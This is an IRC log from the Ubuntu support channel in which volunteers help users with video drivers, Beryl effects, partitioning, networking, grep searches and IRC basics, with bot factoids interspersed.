[05:46] <bruenig> syberdave, it has backports which keeps things up to date generally
[05:47] <vince_> jrib: i had to create a new xorg.conf because there wasn't one; where's the default one the ubuntu uses?
[05:47] <Pelo> Athensman,  you'd be surprised
[05:47] <bruenig> bhavi_bond, kannada is not a place from what I understand
[05:47] <shane634> !pastebin
[05:47] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[05:47] <jason_> if there are any ubuntu developers out there..........
[05:47] <jason_> thank you
[05:47] <Athensman> we will see Pelo
[05:47] <jason_> i meant beryl too
[05:47] <eylisian> Sephiroth, I suck. =) http://paste.ubuntu-nl.org/11809/
[05:47] <jason_> it was so easy
[05:47] <jason_> to install
[05:47] <syberdave> bruenig: are backports done by ubuntu devs or are they done by some third-party?
[05:47] <epi> eylisian whats the purpose of that page?
[05:47] <bruenig> syberdave, devs
[05:47] <bhavi_bond> ok its a language..
[05:47] <jason_> and kills compiz
[05:47] <jrib> vince_: you can recreate it with 'sudo dpkg-reconfigure xserver-xorg'
[05:47] <syberdave> bruenig: ok, thanks
[05:47] <arrenlex> syberdave: Ubuntu Dapper is currently like Debian Stable, with frozen packages. Edgy is like testing, with new packages coming in. Feisty has cutting edge untested things.
[05:47] <NickGarvey> jason_, :)
[05:47] <bruenig> well not devs, but official packagers
[05:47] <eylisian> epi: we are working out a DNS issue.
[05:47] <NickGarvey> isn't in great how easy stuff is getting with ubuntu
[05:48] <NickGarvey> devs do excellent work
[05:48] <jrib> vince_: the location is /etc/X11/xorg.conf if that's what you meant
[05:48] <bruenig> I doubt they have the devs doing the mundane packaging
[05:48] <Pie-rate> bruenig: ty
[05:48] <jason_> yup
[05:48] <Athensman> i hope you guys realize I am using xubuntu
[05:48] <bruenig> Athensman, so am i
[05:48] <Athensman> k
[05:48] <syberdave> arrenlex: thanks, i'll install edgy soon
[05:48] <Pelo> bruenig, http://en.wikipedia.org/wiki/Kannada
[05:48] <b0unc3r> perhaps i can get my PocketPC to work better in feisty lol
[05:49] <amFyZWQ> how do i recreate a DOS partition table using cfdisk?
[05:49] <amFyZWQ> on /dev/hdb
[05:49] <Athensman> i hope it runs better and faster than 98
[05:49] <amFyZWQ> what would the command be? the man file confuses me
[05:49] <bhavi_bond> i want to translate packages to this language.. But there are no teams on this in launchpad
[05:49] <epi> Install complete, turnoff computer, earth myself, remove the sata3 drive manually (by the cord), set boot to hard-drive, and pray.
[05:49] <jason_> It was confusing at first then I was like wait a minute, addd the repos.....make sure beryl-manager starts at boot........and have ur video card drivers....follow instructions to a tee.....and it worked.  100%
[05:49] <b0unc3r> Athensman: should
[05:49] <epi> amirite?
[05:49] <b0unc3r> Athensman: and be more secure
[05:49] <Pelo> Athensman,  what is that system like anyway  cpu / mem ?
[05:49] <eylisian> epi: crossing fingers for you man.
[05:49] <epi> Ok here goes
[05:49] <Athensman> 366 celeron and 256 ram
[05:49] <bruenig> bhavi_bond, you can probably get something going if you contact the right people, I am not sure who that exactly is
[05:49] <b0unc3r> ouch
[05:50] <vince_> jrib: but that file didn't exist until i created it, but x started just fine anyway
[05:50] <Sephiroth> eylisian: http://paste.ubuntu-nl.org/11810/ <- That's what my hosts file has.
[05:50] <Pelo> Athensman,  you might be better off with xubuntu,  slightly  lighter  and uses xcfe for a desktop manager
[05:50] <b0unc3r> i mean...i'm on a P4 2.4Ghz w/ only 256mb ram
[05:50] <jrib> vince_: strange
[05:50] <Pie-rate> Athensman: get a new computer. this one isn't worth the power it consumes in an hour.
[05:50] <Athensman> that is what i have
[05:50] <bhavi_bond> So how to open a team in launchpad?
[05:50] <Athensman> xubuntu
[05:50] <Pelo> good
[05:50] <bhavi_bond> TEAM
[05:50] <IcemanV9> Athensman: oh yea, xbuntu will run excellent
[05:50] <Athensman> good
[05:50] <shane634> Pie-rate, be easy it works
[05:50] <shnastybiznastic> Athensman: that should be fine, although you might be better off with slack or debian after you get your feet wet
[05:51] <b0unc3r> Anyone else watching Conan?
[05:51] <bhavi_bond> any answers?
[05:51] <Pelo> b0unc3r,  what is going on ?
[05:51] <NickGarvey> !offtopic | b0unc3r
[05:51] <ubotu> b0unc3r: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[05:51] <amFyZWQ> what would the command be for creating a DOS partition table with cfdisk on /dev/hdb?
[05:51] <vince_> jrib: the prob is, my file has terrible screen resolutions, and i'd like to copy those settings from the orig file
[05:51] <Sephiroth> eylisian: Aha! I got it. :D
[05:51] <Athensman> my main computer is a amd 3200+ 1 gig
[05:51] <Pelo> amFyZWQ,  man cfdisk
[05:51] <b0unc3r> lol blah offtopic my butt
[05:51] <jrib> vince_: make a copy of your current one and then run the command I gave you
[05:51] <amFyZWQ> Pelo: i did. i don't get it.
[05:51] <jason_> I have edgy, running kde, fluxbox, gnome, blackbox, beryl on a dual core 2 laptop 2ghz, 4gb of ddr2, nvidia 7900 612 vid ram
[05:51] <eylisian> Sephiroth, cool. i am updating your hosts file and will paste.
[05:51] <Sephiroth> eylisian: I added "192.168.2.101	irc.sephiroth.ws	localhost" to the hosts file. Thank you.
[05:52] <eylisian> ya mon.
[05:52] <IcemanV9> Athensman: i used to have it (386 celeron & 256 Mb ram). DVD ran beautifully (no jerking/chopping) and play MP3 perfect
[05:52] <LadyNikon> !fluxbox
[05:52] <ubotu> fluxbox is a lightweight and responsive window manager for GNU/Linux. For how to set it up and more information see https://help.ubuntu.com/community/Fluxbox
[05:52] <shnastybiznastic> amFyZWQ: you make the partitions with cfdisk, you can use mk** commands to put filesystems on those partitions
[05:52] <eylisian> Sephiroth, one more tweak. one sec i will paste uri.
[05:52] <Athensman> that is all i want this computer to do
[05:52] <amFyZWQ> shnastybiznastic: i don't have a partition TABLE even
[05:52] <shane634> i am taking vid and wireless here
[05:53] <jason_> once you go bery.......you'll never want vista
[05:53] <shnastybiznastic> amFyZWQ: fdisk can make that, wait, do you want to get data off the drive, or make new partitions?
[05:53] <jason_> i tro my vista cd in the microwave along with all my old M$ cd's
[05:53] <arrenlex> Hey, according to Digg, beryl and compiz are re-merging...
[05:53] <b0unc3r> ehh I need a better video card to run belry
[05:53] <SeaWo|f> hey, im trying to install 6.10 from my hd i have downloaded and setup all the stuff and the installer boots just fine but it cant find the iso.. any ideas?
[05:53] <eylisian> Sephiroth, http://paste.ubuntu-nl.org/11811/  should do ya.
[05:53] <bhavi_bond> like the translation teams we have in launchpad.. How to float one?
[05:54] <arrenlex> b0unc3r: What are you talking about, beryl runs great on even those cheapo integrated intels.
[05:54] <jason_> yup
[05:54] <IcemanV9> jason_: w0w. nice box! :) glad you're running ubuntu on it.
[05:54] <shane634> arrenlex, not always
[05:54] <Athensman> what is beryl
[05:54] <jason_> beryl runs on onboard 64mb vid
[05:54] <maria> Hi, i have just installed ubuntu version 6.10, and I have a question.. well.. two questions..
[05:54] <jason_> i tried  it
[05:54] <b0unc3r> I had issues with my Radeon 7200
[05:54] <arrenlex> !beryl | Athensman
[05:54] <ubotu> Athensman: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[05:54] <b0unc3r> it ran but got sorta choppy
[05:54] <shnastybiznastic> Athensman: beryl is a gpu-assisted compositing engine
[05:54] <arrenlex> b0unc3r: Using what drivers?
[05:55] <shnastybiznastic> like what you see on new macs and vista
[05:55] <bhavi_bond> hello
[05:55] <Pelo> Athensman,  beryl is basicaly  eyecandy,  woobly windows,  menu animation,  transparencies,  etc,  your box probably won'T be able to handle it
[05:55] <bhavi_bond> hello
[05:55] <bhavi_bond> hello
[05:55] <bhavi_bond> hello
[05:55] <bhavi_bond> hello
[05:55] <arrenlex> !hi | bhavi_bond
[05:55] <ubotu> bhavi_bond: Hi! Welcome to #ubuntu!
[05:55] <Athensman> what video modes should i use
[05:55] <b0unc3r> uhm ati i think
[05:55] <arrenlex> !REPEAT | bhavi_bond
[05:55] <ubotu> bhavi_bond: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[05:55] <IR8353> *//server irc.coolchat.net
[05:55] <jason_> its awsome
[05:55] <jason_> very usefull too
[05:55] <jason_> quick
[05:55] <arrenlex> b0unc3r: your choices are: "ati", "radeon", or "fglrx".
[05:55] <jason_> smooth
[05:55] <IcemanV9> b0unc3r: have you try fglrx?
[05:55] <jason_> great for multi tasking
[05:55] <bhavi_bond> So how to open a team in launchpad?
[05:55] <Athensman> what video modes should i use
[05:56] <maria> If i boot my machine without the network cable plugged, how do I make it get connected after the machine is on (and I plug in the cable of course)
[05:56] <arrenlex> b0unc3r: ati and radeon are the free drivers. If they even half-work for you, you're lucky.
[05:56] <eylisian> maria, sudo ifup eth0
[05:56] <shane634> maria, plug the cord in
[05:56] <shnastybiznastic> maria: sudo ifup eth0
[05:56] <arrenlex> b0unc3r: fglrx is the official driver. It used to be a POS but I hear it's gotten better with the new version. You should try taht.
[05:56] <shnastybiznastic> whoops :o
[05:56] <IcemanV9> b0unc3r: i have ati x600 .. ati worked, but i tried fglrx and it worked, too.
[05:56] <maria> thank you
[05:56] <Mendax> just wondering if anyone here is familiar w/ western digital external hard drives w/ edgy?
[05:56] <Pelo> Athensman,  when in doubt just use the defaults settings
[05:57] <SplashTK> Hey guys, I was just wondering if anyone could tell me where I can find the open source ATI drivers as I can't change my res in ubuntu to anything higher than 800x600 :(
[05:57] <jason_> i dont just use ubuntu on this beast...........
[05:57] <jason_> debian
[05:57] <jason_> too
[05:57] <shane634> SplashTK, got msn?
[05:57] <maria> eylisian, thank you. but I get the message "interface eth0 already configured"
[05:57] <eylisian> maria, sudo ifdown eth0
[05:57] <SplashTK> shane634 Yeah
[05:57] <Pelo> SplashTK,  you'll have to edit your xorg.conf file to manualy add the higher resolutions you want
[05:57] <maria> eylisian, how do you ask it to reget the ip ?
[05:58] <Athensman> is it hard to find drivers on here
[05:58] <shane634> add shane47143
[05:58] <maria> eylisian, let my try
[05:58] <arrenlex> SplashTK: What's the output of this command: grep Driver /etc/X11/xorg.conf | egrep -v "^#|kbd|mouse|wacom|synaptics"
[05:58] <Pelo> !nvidia | SplashTK
[05:58] <ubotu> SplashTK: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[05:58] <shane634> SplashTK, add shane47143
[05:58] <eylisian> maria, sudo /etc/init.d/networking restart   will stop and start all networking.
[05:58] <SplashTK> shane634, okay just a sec, also in windows at the moment
[05:58] <Sephiroth> eylisian: Your edit made it non-operational again. :(
[05:58] <eylisian> Sephiroth, ah!
[05:58] <maria> thank you eylisian !
[05:59] <shane634> SplashTK, no problem
[05:59] <eylisian> go back to localhost!
[05:59] <Pelo> Athensman,  most of the drivers you'll need are the the installation already,  if not you just search google or the forum for your hardware and see what comes up
[05:59] <eylisian> Sephiroth, must be something about your local thats different than mine.
[05:59] <amFyZWQ> ok
[05:59] <amFyZWQ> i have a partition table now
[05:59] <amFyZWQ> i want to create a new partition
[05:59] <Athensman> what web site to search for linux applications
[05:59] <amFyZWQ> hdb1
[05:59] <eylisian> so use what worked of course. I was just spounting standards.
[05:59] <shane634> !apps
[05:59] <ubotu> A comprehensive list of of Windows-equivalent applications in Linux can be found at http://www.linuxrsp.ru/win-lin-soft/table-eng.html and https://wiki.ubuntu.com/WhatWindowsUsersWant
[06:00] <Sephiroth> K
[06:00] <Sephiroth> I undid the edits and it's working.
[06:00] <Sephiroth> Thank you.
[06:00] <eylisian> heh.
[06:00] <eylisian> Sorry d00d =)
[06:00] <Pelo> Athensman,  ubuntu already comes with a lot of packages so you'll have some great choice already,  but if you have specific needs you don't have in ubu we can help you find something
[06:00] <bouncer> sorry okay back
[06:00] <Sephiroth> It's alright. Thank you for helping me though. ^_^
[06:01] <shnastybiznastic> Athensman: just so you know, you won't be boogeying down to filefront or something to get applications.  That's all handled internaly
[06:01] <SeaWo|f> is there anyway to manually tell the ubuntu installer where the iso is?
[06:01] <eylisian> np.
[06:01] <Sephiroth> What trout?
[06:01] <eylisian> =)
[06:01] <Athensman> ok
[06:01] <SplashTK> shane634, at hotmail.com?
[06:01] <Pelo> Athensman,  ths should help you out for a general view  http://www.linuxrsp.ru/win-lin-soft/table-eng.html#41
[06:01] <shane634> SplashTK, yeah
[06:01] <bouncer> So...any ideas on beryl? I just used the generic ATI driver
[06:02] <Pelo> bouncer #beryl
[06:02] <arrenlex> b0unc3r: Try the fglrx driver to usev beryl.
[06:02] <arrenlex> !fglrx | b0un
[06:02] <ubotu> b0un: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[06:02] <arrenlex> !fglrx | b0uncer
[06:02] <ubotu> b0uncer: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[06:02] <b0un3r> yeah did that lol
[06:03] <IcemanV9> b0un3r: or try #ubuntu-effects
[06:03] <arrenlex> b0unc3r: So what does it tell you when you try to run beryl?
[06:04] <b0un3r> no no it runs...just not that smooth
[06:04] <shnastybiznastic> Athensman: I don't mean to insinuate that you are ignorant, but you do know how package management works in ubuntu, right?
[06:04] <Athensman> i have no idea what you just said
[06:04] <Pelo> shnastybiznastic,  he doesn't know , he's just starting , he'll have to be thaught
[06:05] <eylisian> Athensman, welcome to Linux =)
[06:05] <arrenlex> b0unc3r: What's the output of "glxinfo | grep render"?
[06:05] <epi> &(#*&@($*&#$
[06:05] <eylisian> epi!
[06:05] <epi> Get this.
[06:05] <Athensman> lol
[06:05] <eylisian> oh no.
[06:05] <epi> It was like...
[06:05] <epi> Loading it.
[06:05] <epi> It loaded.
[06:05] <epi> Perfectly.
[06:05] <epi> I was jumping around the room
[06:05] <arrenlex> I hate GAIM. -__- it doesn't actually ignore people I tell it to ignore.
[06:05] <IcemanV9> !enter
[06:05] <ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[06:05] <b0un3r> libGL warning: 3D driver claims to not support visual 0x4b
[06:05] <epi> Then realised I forgot the username and password.
[06:05] <b0un3r> direct rendering: Yes
[06:05] <b0un3r> OpenGL renderer string: Mesa DRI Radeon 20060327 AGP 1x TCL
[06:05] <Pelo> Athensman,  ubuntu comes with a prog called synaptic that gives you a list of "pakcages" ( apps / drivers/ libraries) that are pre configured to work in ubuntu,    the list is about 20 000 long
[06:06] <shnastybiznastic> Athensman: well, if you want some software, you call up this program called the package manager
[06:06] <arrenlex> b0unc3r: You're not using fglrx.
[06:06] <arrenlex> b0unc3r: What does this say: grep Driver /etc/X11/xorg.conf | egrep -v "^#|kbd|mouse|wacom|synaptics"
[06:06] <b0un3r> it never worked right
[06:06] <b0un3r> on the Radeon 7200
[06:06] <arrenlex> b0unc3r: In what way?
[06:06] <shnastybiznastic> Athensman: and you find your program on the package manager, then it downloads it for you, and any data or other apps that particular program needs.
[06:06] <shane634> vid and wireless help here sometimes
[06:06] <b0un3r> X wouldn't load
[06:06] <Athensman> got allot of learning to do
[06:06] <arrenlex> b0unc3r: With what error message?
[06:06] <Pelo> Athensman,  and if the pakcage manager doesn't have what you need you can always install from source, with is a little more complicated but not much
[06:06] <Athensman> shnastybiznastic is that already in it
[06:07] <b0un3r> I can't remember
[06:07] <arrenlex> Athensman: lol, you misspelled "a lot" so badly it became a whole other correctly spelled word.
[06:07] <epi> eylisian, your wonderful, just hoping its easy enough to get that second HD running :P
[06:07] <drofdarb> Heya guys, is it better to use the official adobe flash plugin for mozilla, or does the open source one work just fine?
[06:07] <eylisian> so epi, it's working?
[06:07] <epi> Ahu
[06:07] <Athensman> is it true linux doesnt need anitvirus
[06:07] <eylisian> oh good.
[06:07] <b0un3r> its no biggie not worried
[06:07] <shnastybiznastic> Athensman: the package manager?  yeah.  it's included in the default install, but you will need a network connection to get software from teh tubes.
[06:07] <shane634> b0un3r, what problems?
[06:08] <Athensman> i will be oniine
[06:08] <Athensman> lol
[06:08] <arrenlex> drofdarb: If you want to play flash movies, I suggest you use macromedia's. If you're just looking to have your browser crash, open-source one will work fine.
[06:08] <epi> But I have one last install to do, purely because im an idiot that didnt bother to think about the username and pass :|
[06:08] <Pelo> Athensman,  welcome to the wonderfull world of ubuntu, most of what you need is already there ,  and an antivirus is usefull if you don't want to spread the joy to your window using freinds
[06:08] <eylisian> epi: you will need to partition the 2nd drive just like the first and read about ubuntu mkraid
[06:08] <drofdarb> Athensman: linux doesn't not have many viruses floating around.  Plus, if you operate the system correctly, you a virus shouldn't have permission to install even if you happen upon one.
[06:08] <comodo> whats the best burning software for ubuntu
[06:08] <comodo> ?
[06:08] <drofdarb> arrenlex: heh, gotcha
[06:08] <shane634> comodo, k3b or gnomebaker
[06:08] <eylisian> epi: oh no man, =( you can run passwd from within a chroot under the live cd.
[06:08] <Athensman> taking forever to install
[06:09] <Pelo> comodo,  gnomebaker for gnome ,  k3b for kde
[06:09] <eylisian> epi: you don't have to re-install =)
[06:09] <epi> I dont mind, the seed of hope has been planted.
[06:09] <comodo> will they both work on the other?
[06:09] <drofdarb> lostirc is a pretty nice little client :)
[06:09] <drofdarb> I'm impressed
[06:09] <Pelo> Athensman,  old system
[06:09] <shane634> comodo, yes
[06:09] <comodo> kool
[06:09] <comodo> thanks
[06:09] <eylisian> epi: take it or leave it. it's cool. installing is a good way to get to know it.
[06:10] <epi> Ill just install, ive waited long enough, whats another 15 minutes :P
[06:10] <shane634> !burner
[06:10] <ubotu> CD/DVD Burning software: K3b (KDE), gnomebaker, serpentine, graveman, Nautilus cd burner (Gnome), gtoaster, xcdroast, cdrecord (terminal-based). Burning .iso files: see https://help.ubuntu.com/community/BurningIsoHowto
[06:10] <Pelo> g'night folks
[06:10] <drofdarb> Do any of you guys run compiz or beryl?  If so, do you find them to be pretty stable?
[06:11] <Athensman> well people have told me to run linux on this system since it is so old
[06:11] <shane634> drofdarb, they are beta and unstable
[06:11] <shane634> !beryl
[06:11] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[06:11] <eylisian> Athensman, linux will optimize old hardware but you need to install the "memory challenged" version.
[06:12] <eylisian> Ubuntu has an alt install cd for the RAM startved.
[06:12] <NickGarvey> drofdarb, it crashes every 5 minutes for me.. but that is to be expected
[06:12] <shane634> eylisian, 512 will get ya around fine
[06:12] <NickGarvey> drofdarb, you can install it and just play with it every so often though, that is what I do
[06:12] <eylisian> shane634, totally. i was mistaken. i thought it was less.
[06:13] <tonyyarusso> Athensman: how old / specs are we talking?
[06:13] <shane634> eylisian, they say 256
[06:13] <epi> Ram is the most brilliant thing in the world to upgrade, its cheap (relative to other components) and the performance increase (till 2gb?) is massive.
[06:13] <drofdarb> NickGarvey: is that beryl or compiz?
[06:13] <eylisian> 256 is going to run like crap if you install stock Ubuntu.
[06:13] <shane634> eylisian, you were right on man
[06:13] <hagabaka> why is it called 7.04? are the other versions of 7.0 so far alpha, etc?
[06:14] <NickGarvey> drofdarb, beryl, but I have heard beryl is better than compiz
[06:14] <rand> 7.04 means 2007 April
[06:14] <NickGarvey> drofdarb, it could just be me.. but I'm not sure, it isn't stable code yet
[06:14] <eylisian> but say ion3 for a WM on 256 would rock.
[06:14] <shane634> hagabaka, there are no other 7. versions
[06:14] <Athensman> tonyyarusso it is a 366 celeron and 256 ram
[06:14] <hagabaka> no 7.01?
[06:14] <drofdarb> NickGarvey: ah.  Do you know of any way to make the windows move about the desktop more smoothly without either compiz or beryl?
[06:15] <shane634> eylisian, no vm will rock on 256 sorry
[06:15] <NickGarvey> drofdarb, "more smoothly", what do you mean by that?
[06:15] <eylisian> heh.
[06:15] <tonyyarusso> Athensman: stock Xubuntu would probably be fine
[06:15] <hagabaka> i was using 256 until two weeks ago
[06:15] <epi> Night eyl
[06:15] <epi> and thanks!
[06:16] <Athensman> i am installing the alternate
[06:16] <Athensman> i386
[06:16] <shane634> hagabaka, 256 will run it fine
[06:16] <hagabaka> i think most non-3D window managers worked fine
[06:16] <drofdarb> NickGarvey: well, I'm assuming it's compositing that I want (of some form or other).  Basically, without beryl or compiz, my windows move kind of jagged across the desktop.  I guess you could call it a tear effect.
[06:16] <shane634> hagabaka, depends on the vid card from there
[06:16] <riker2000_> hi
[06:17] <shane634> drofdarb, xorg.conf please
[06:17] <Athensman> i bet one thing i will not be able to find on linux that i like to play around with allot
[06:17] <administrador> hola alguien que hable espaol
[06:17] <tonyyarusso> !es  | administrador
[06:17] <ubotu> administrador: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[06:17] <shane634> drofdarb, dri and nvidia don't play well
[06:18] <drofdarb> shane634: I have just a basic xorg configuration file with support for my nvidia hardware.
[06:18] <drofdarb> I probably have dri enabled, so I will disable it.
[06:18] <shane634> drofdarb,  pastebin it and link
[06:18] <administrador> gacias
[06:19] <gdi2k> I too have an nvidia card for which I require the nvidia modules (not nv). how would I go about installing them? (ubuntu edgy)
[06:19] <shane634> !pastebin
[06:19] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[06:19] <arrenlex> !nvidia | gdi2k
[06:19] <ubotu> gdi2k: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[06:19] <Crane> just comment out th eload DRI command in your xorg.conf
[06:19] <drofdarb> shane634: http://pastebin.ca/407627
[06:19] <Athensman> i bet one thing i will not be able to find on linux that i like to play around with allot
[06:19] <shane634> gdi2k, if you have trouble add shane47143 on msn
[06:20] <tealson_> gdi2k, https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[06:20] <gdi2k> ok, thx for your help!
[06:20] <epi> Please share with us how win 98 is superior.
[06:20] <arrenlex> shane634: Are you that desperate for MSN buddies? Just help people here.
[06:20] <Crane> yes lets not discuss 98
[06:20] <shane634> arrenlex, it is easier to help one on one
[06:21] <shane634> sorry if that offends
[06:21] <IcemanV9> !off-topic
[06:21] <ubotu> Sorry, I don't know anything about off-topic - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:21] <arrenlex> shane634: Then go to your own channel and tell people to join it if they need help.
[06:21] <shane634> i have helped over a dozen in less than a week though
[06:21] <epi> Shane, how do I run 2 HD's Raid 1 (SETA) in Ubundu without RMraid?
[06:21] <Athensman> i havnt found any weather application for linux
[06:21] <NickGarvey> !offtopic
[06:21] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[06:21] <epi> Because im damned if I can find the solution.
[06:22] <shane634> perhaps i won't come here anymore
[06:22] <epi> The only one so far was "lulz rebuild your kernal".
[06:22] <epi> Which for simple people like me is akin to asking me to make it rain.
[06:22] <ormandj> hm. why is a 720p x264 stuttering like a monster on this computer in ubuntu? tried both the included movie player and vlc. pentium d (dual core) w/ 2 gigs ram and a nvidia 7900 w/ nvidia drivers
[06:23] <XfceRules> How do I do a search within multiple files? For example, I want to find all files containing a particular phrase or word?
[06:23] <shane634> drofdarb, looks good man pm me
[06:23] <atoponce> XfceRules: search within a file, or search for a file?
[06:24] <XfceRules> atoponce search within all files
[06:24] <riker2000_> hi
[06:24] <riker2000_> exit
[06:24] <Athensman> dang this thing has allot of software
[06:24] <XfceRules> atoponce or all files in a directory recursevly
[06:24] <atoponce> grep
[06:24] <atoponce> grep 'text to search for' *
[06:25] <XfceRules> atoponce you can grep a directory?
[06:25] <atoponce> yes
[06:25] <XfceRules> wow, ok
[06:25] <atoponce> and, -r or -R for recursive searching
[06:25] <XfceRules> atoponce  ... it will reveal which file it came from?
[06:26] <atoponce> XfceRules: yes
[06:26] <XfceRules> atoponce sweet. thank you
[06:26] <atoponce> XfceRules: np
[06:26] <shane634> man i wish i was an irc guru
[06:26] <drofdarb> Why?
[06:27] <GekiBlue> Huh... Ubuntu can't seem to find the Frostwire icon.
[06:27] <atoponce> GekiBlue: is it on the system that you know of? and do you know the name of the icon file?
[06:28] <GekiBlue> atoponce, It's frostwire.png as far as I know, I assumed it would be installed with the rest of the package :3
[06:28] <atoponce> GekiBlue: do 'updatedb' then 'locate frostwire.png' to see if it shows up
[06:29] <atoponce> GekiBlue: if not, either it's not installed, or the name is different
[06:30] <jmg> can someone point me to the info on configuring nvidia to have tvout and monitor as seperate workspaces
[06:30] <CyberCod> I have got the strangest problem going on....
[06:31] <shane634> drofdarb, obviously  this irc isn't working can you go to msn?
[06:31] <GekiBlue> atoponce: It found it and I just had to tell the menu entry. :) Thanks~
[06:31] <atoponce> GekiBlue: np
[06:32] <atoponce> jmg: you're just trying to do a dual head setup?
[06:32] <jmg> atoponce: ideally i want to have freevo on tv and my normal desktop on monitor
[06:33] <atoponce> jmg: ahh. in that case, i won't be much help. haven't set that up
[06:33] <jmg> atoponce: i have clone and leftof working
[06:33] <jmg> atoponce: i basically just dont want gdm to manage the second screen
[06:33] <shane634> drofdarb, go to msn shane47143
[06:33] <shane634> drofdarb, perhaps we can fix ya then
[06:34] <maria> Hi, i'm new to ubuntu.. is there a nice tool to connect to wireless networks ?
[06:34] <drofdarb> drofdarb: I don't have msn.  If you haven't registered your nick you can do it by (/msg nickserv register <password>).  Then you'll be able to message me privately.  To message me privately type (/msg drofdarb <message here>).
[06:34] <maria> or any tool that can be helpful for a laptop with wireless
[06:34] <drofdarb> Or I'll just open a new channel :)
[06:34] <shane634> maria, yes
[06:34] <ardchoille> !wireless
[06:34] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[06:34] <drofdarb> shane634: join #drofdarb
[06:34] <shane634> maria, wifi radar and network monitor
[06:35] <Athensman> ok xubuntu is installed and running
[06:35] <VXslut> Please help
[06:35] <maria> thanks shane634 !
[06:35] <VXslut> how can i change nicknames
[06:35] <CyberCod> I've got an ATI radeon 7000VE set up with TV-out working...  and for some reason, the monitor won't show on the same resolution as the TV.  I mean, I can't get the monitor to do 800x600, but it will do everything else from 640x480 to 1280x1024!!!
[06:35] <atoponce> VXslut: what do you need help with? maybe i can assist?
[06:35] <atoponce> VXslut: in irc?
[06:35] <tonyyarusso> VXslut: /nick newnick
[06:35] <VXslut> yes
[06:35] <DonL> Just checkin' in, haven't been here for a while
[06:36] <atoponce> /nick <new_nick>
[06:36] <CyberCod> keeps giving me "out of range"... but thats only on the one monitor.... an LCD.  My CRT coexists with the TV-out just fine at that resolution.
[06:36] <atoponce> lol
[06:36] <atoponce> well, there you go. :)
[06:36] <newnick> ?
[06:36] <digi> when using mutt on the command line how would you set from:?
[06:36] <atoponce> newnick: not 'newnick' exactly, but the nickname you want to change to
[06:37] <atoponce> /nick encryptz
[06:37] <encryptz> /nick atoponce
[06:37] <atoponce> like so
[06:37] <newnick_stacey> grrr
[06:37] <andruktatum> lol
[06:37] <andruktatum> irc takes a bit of getting used to
[06:37] <captstevenhiller> can someone help me install GTK2?
[06:38] <DonL> andruktatum, it does
[06:38] <ardchoille> captstevenhiller: Does nautilus work for you?
[06:38] <VXgirl> woot
[06:39] <VXgirl> thankyou
[06:39] <DonL> andruk, then it becomes like a second language
[06:39] <atoponce> VXgirl: np
[06:39] <andruk> true
[06:39] <captstevenhiller> ardchoille: what is nautilus?
[06:39] <r00tintheb0x> DonL, so true.
[06:39] <DonL> lol
[06:39] <ardchoille> captstevenhiller: It's a file manager. What are you using for irc client?
[06:40] <captstevenhiller> gaim
[06:40] <VXgirl> what is DAEMON
[06:40] <pax> whatis nautilus is console
[06:40] <ardchoille> captstevenhiller: You should have GTK2 already. Are you using Edgy?
[06:40] <pax> s/is/in
[06:40] <atoponce> VXgirl: daemon is just a term for a service running on your linux computer
[06:40] <VXgirl> but im using windows?
[06:40] <captstevenhiller> ardchoille: yes, im on edgy. am i just being dumb and not seeing it?
[06:40] <ardchoille> pax: for text based file managers, I only know of midnight commander
[06:41] <atoponce> VXgirl: for example, apache web server is a daemon
[06:41] <VXgirl> oh
[06:41] <VXgirl> what is daemon tools
[06:41] <BUMBACL0T> A program that runs continuously and exists for the purpose of handling periodic service requests that a computer system expects to receive. The daemon program forwards the requests to other programs (or processes) as appropriate. Each server of pages on the Web has an HTTPD or Hypertext Transfer Protocol daemon that continually waits for requests to come in from Web clients and their users.
[06:41] <VXgirl> :O wow.
[06:41] <atoponce> VXgirl: just the tools necessary to administer the service
[06:41] <ardchoille> captstevenhiller: GTK2 is not an app, it is a multi-platform toolkit for creating graphical user interfaces. If you are looking at the gaim window, you are seeing the widgets used to build the window.
[06:42] <VXgirl> you guys are smart
[06:42] <ardchoille> captstevenhiller: Why are you thinking you need to install gtk2?
[06:42] <captstevenhiller> ardchoille: i thought you could use GTK2 to customize window appearance
[06:43] <ardchoille> Smart? Pffft, I'm just smart enough to google, lol
[06:43] <captstevenhiller> ardchoille: like how beryl does the outer window design, i thought GTK2 did the inside
[06:43] <captstevenhiller> and so on
[06:43] <ardchoille> captstevenhiller: You can use the glade interface designer to build a ui for an app.
[06:43] <DonL> ardchoille, knowing google is important
[06:43] <atoponce> DonL: knowing is half the battle
[06:43] <atoponce> :)
[06:44] <atoponce> sorry. couldn't resist
[06:44] <DonL> yes
[06:44] <vince_> does anyone know what file ubuntu uses for configuring x when /etc/X11/xorg.conf doesn't exist?
[06:44] <RoundyT1> ok so I have this PDF book i was reading and it tells me that if I installed a "LAMP Server" that changing the mysql password is done by doing the following commands
[06:44] <RoundyT1> $ mysql -u root mysql
[06:44] <RoundyT1> mysql> update user set Password=password(newpassword) where
[06:44] <RoundyT1> user=root;
